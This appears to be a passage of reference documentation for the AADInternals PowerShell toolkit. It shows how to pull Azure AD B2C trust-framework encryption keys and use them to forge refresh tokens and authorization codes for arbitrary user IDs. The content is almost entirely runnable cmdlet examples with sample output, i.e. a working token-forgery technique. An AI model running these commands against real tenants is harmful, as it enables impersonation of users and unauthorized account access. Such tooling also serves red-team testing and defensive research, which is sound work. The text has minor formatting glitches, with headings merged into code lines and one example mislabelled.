Since version 0.9.3
Gets B2C trust framework encryption keys. Can be used to create authorization codes and refresh tokens.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Get B2C Encryption keys
Get-AADIntB2CEncryptionKeysOutput:
Container Id Key
--------- -- ---
B2C_1A_test XZ0q5X-Zu_oY2mX-El89a1YEsh4FRj0e5xpGMjJ94uE System.Security.Cryptography.RSACryptoServiceProvider
B2C_1A_TokenEncryptionKeyContainer My_custom_key_id System.Security.Cryptography.RSACryptoServiceProvider
New-AADIntB2CRefreshToken
Since version 0.9.3
Creates a new B2C refresh token using the provided public key.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Get B2C Encryption keys
$keys = Get-AADIntB2CEncryptionKeys
# Create the refresh token
$refresh_token = New-AADIntB2CRefreshToken -Tenant "companyb2c" -ClientId "00364d2a-695e-49e6-b5ef-377276103dc2" -UserId "910e4c2f-1396-434c-aa8e-1bcf8883376a" -Policy "B2C_1A_signup_signin" -PublicKey $keys[1].Key -KeyId $keys[1].IdNew-AADIntB2CAuthorizationCode
Since version 0.9.3
Creates a new B2C authorization code using the provided public key.
Example:
# Get access token and store to cache
Get-AADIntAccessTokenForMSGraph -SaveToCache
# Get B2C Encryption keys
$keys = Get-AADIntB2CEncryptionKeys
# Create the refresh token
$authorization_code = New-AADIntB2CAuthorizationCode -Tenant "companyb2c" -ClientId "00364d2a-695e-49e6-b5ef-377276103dc2" -UserId "910e4c2f-1396-434c-aa8e-1bcf8883376a" -Policy "B2C_1A_signup_signin" -PublicKey $keys[1].Key -KeyId $keys[1].Id
